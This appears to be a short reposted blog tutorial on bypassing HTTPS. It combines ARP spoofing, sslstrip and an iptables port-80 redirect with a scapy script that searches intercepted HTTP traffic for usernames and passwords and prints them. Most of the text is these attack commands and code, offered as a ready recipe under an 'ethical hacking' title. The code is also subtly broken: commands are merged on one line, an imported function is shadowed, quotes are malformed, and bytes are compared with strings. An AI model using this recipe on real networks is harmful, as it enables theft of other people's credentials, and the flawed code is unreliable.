Python Ethical Hacking - Bypass HTTPS

HTTPS:

Problem:

• Data in HTTP is sent as plain text.
• A MITM can read and edit requests and responses.

-> not secure

Solution:

• Use HTTPS.
• HTTPS is an adaptation of HTTP.
• Encrypt HTTP using TLS(Transport Layer Security) or SSL(Secure Sockets Layer).

ARP Spoofing

 ARP Spoofing With SSLStrip

1. Flush route tables and execute the arp_spoof script.

iptables --flushpython3 arp_spoof.py

2. Start the SSLstrip.

sslstrip

3. Execute the following commands to redirect the packets.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

4. Run the sniff script.

#!/usr/bin/env python

import scapy
from scapy.layers.http import HTTPRequest
from scapy.packet import Raw
from scapy.sendrecv import sniff

def sniff(interface):
    scapy.sendrecv.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def get_url(packet):
    return packet[HTTPRequest].Host.decode(errors=‘ignore‘) + packet[HTTPRequest].Path.decode(errors=‘ignore‘)

def get_login_info(packet):
    if packet.haslayer(Raw):
        packet.show()
        load = packet[Raw].load
        keywords = ["email", "username", "user", "login", "password", "pass", "uid"]
        for keyword in keywords:
            if keyword in load:
                return load

def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password > " + login_info + "\n\n")
        scapy.sendrecv.sniff()

sniff("eth0")

5. Browse the target website and find something interesting.

原文地址：https://www.cnblogs.com/keepmoving1113/p/11523455.html